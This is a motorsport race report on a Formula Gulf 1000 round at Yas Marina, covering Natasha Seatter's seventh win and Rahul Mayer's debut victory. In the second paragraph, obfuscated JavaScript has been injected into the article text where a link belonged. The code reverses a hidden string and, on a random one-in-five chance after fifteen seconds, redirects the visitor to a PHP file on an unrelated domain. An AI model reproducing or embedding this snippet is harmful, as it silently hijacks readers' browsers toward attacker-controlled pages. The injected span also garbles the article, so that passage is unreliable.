While Formula Gulf 1000 points leader Natasha Seatter scored her seventh win of the 2012/2013 season on the Yas Marina South Circuit, Malaysian compatriot Rahul Mayer secured his debut series victory in the opening encounter after Seatter hit problems.
Given her successful start to the campaign, the sight of Natasha Seatter pulling her gloves off in frustration has been rare during the in the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/fg1000/” target=”_blank”>2012/2013 Formula Gulf 1000 season. To see her doing so while the race is still on going is unprecedented.
Fast forward to race two at Yas Marina, and it was business as usual, Seatter leaving her Formula Gulf rivals for dust by nailing a string of laps both fast and impressively consistent. It was hardly a shock then to see the young Malaysian take her seventh win of the season.
Just several hours earlier though, this was far from the case. Her qualifying struggles had continued the day before, but she had at least strung a lap together good enough for the front row. While in races past this has worked in Seatter’s favour though – a single seater hare to chase allowing her to get the bit between her teeth – this time a long-held red light meant she was completely caught off-guard when the green flag dropped.
Indeed, third row starter Rahul Mayer, having judged his start to perfection, was forced to jink out of the way of the slow-starting #3 machine to avoid spinning the series points leader into the pitwall. Despite managing to squeeze past the points leader and into second, the momentary juggle for position allowed both Saeed Bintouq and Harsh Rajpal on the back row to close up.
From his fourth pole position of the season, Nicholas Canal led easily into turn one, chased by Mayer. Just behind, Bintouq on the inside was in a prime spot to leap into third, a move he probably would have pulled off had an unsighted Seatter not taken her normal line into turn one and clouted his front right tyre.
It was a long afternoon for Bintouq from that moment on, a charge back to fifth and a heated battle with Rajpal offering spectators good value for money (and showing that the testing miles under his belt were clearly paying off), but retirement caused by a misfiring engine in race two meant the Yas Marina-run driver left home turf without the results he’d been hoping for.
